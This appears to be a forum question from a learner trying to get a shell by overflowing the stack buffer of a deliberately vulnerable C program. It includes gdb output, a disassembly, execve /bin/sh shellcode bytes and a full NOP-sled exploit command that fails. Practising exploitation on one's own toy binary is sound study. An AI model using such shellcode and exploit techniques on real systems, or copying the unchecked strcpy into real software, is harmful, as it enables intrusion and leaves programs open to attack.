Basically I am trying to exploit a buffer overflow, but unfortunately I am not able to get shell.
Script buf.c:
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
char buf[500];
strcpy(buf, argv[1]);
printf("Entered: %s\n", buf);
return 0;
}
compiling as below:
gcc -g buf.c -o buf --no-stack-protector
so precisely the $ebp
gets to be overflown by 516 bytes, how did I figured it out you say? below:
gdb:
run $(python -c "print('A'*516)")
starting from 500 bytes until I get 0x41414141
:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
the start point of buffer
in $esp
is 0xbffff02c :
below is how I figured it out:
(gdb) disass main
Dump of assembler code for function main:
0x0804844d <+0>: push %ebp
0x0804844e <+1>: mov %esp,%ebp
0x08048450 <+3>: and $0xfffffff0,%esp
0x08048453 <+6>: sub $0x210,%esp
0x08048459 <+12>: mov 0xc(%ebp),%eax
0x0804845c <+15>: add $0x4,%eax
0x0804845f <+18>: mov (%eax),%eax
0x08048461 <+20>: mov %eax,0x4(%esp)
0x08048465 <+24>: lea 0x1c(%esp),%eax
0x08048469 <+28>: mov %eax,(%esp)
0x0804846c <+31>: call 0x8048320 <strcpy@plt>
0x08048471 <+36>: lea 0x1c(%esp),%eax
0x08048475 <+40>: mov %eax,0x4(%esp)
0x08048479 <+44>: movl $0x8048520,(%esp)
0x08048480 <+51>: call 0x8048310 <printf@plt>
0x08048485 <+56>: mov $0x0,%eax
0x0804848a <+61>: leave
0x0804848b <+62>: ret
End of assembler dump.
so I made a break point at break *0x08048475
and then ran the program as:
run $(python -c "print('A'*516)")
and then:
(gdb) x/200wx $esp
0xbffff010: 0xbffff02c 0xbffff436 0x00000001 0x00000000
0xbffff020: 0x00000001 0xb7fdc1b0 0xb7fff000 0x41414141
0xbffff030: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff040: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff050: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff060: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff070: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff080: 0x41414141 0x41414141 0x41414141 0x41414141
... more
as you can see the start point of buffer
is 0xbffff02c.
my shellcode is:
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a
\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68
got it from: http://shell-storm.org/shellcode/files/shellcode-904.php
which is 34 bytes
so 516-34 = 482
and finally the exploit:
run $(python -c "print('\x90'*482+'\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68'+'\x2c\xf0\xff\xbf')")
and I get:
Starting program: /home/pt/buf $(python -c "print('\x90'*482+'\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68'+'\x2c\xf0\xff\xbf')") Entered: ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������0�/�xF0�I�'�Q7�/bin//sh,���
Program received signal SIGSEGV, Segmentation fault. 0x68732f2f in ?? ()
Unfortunately no shell :(
my linux version: Linux BackboxPTv1 3.11.0-15-generic #23~precise1-Ubuntu SMP Tue Dec 10 16:43:53 UTC 2013 i686 i686 i686 GNU/Linux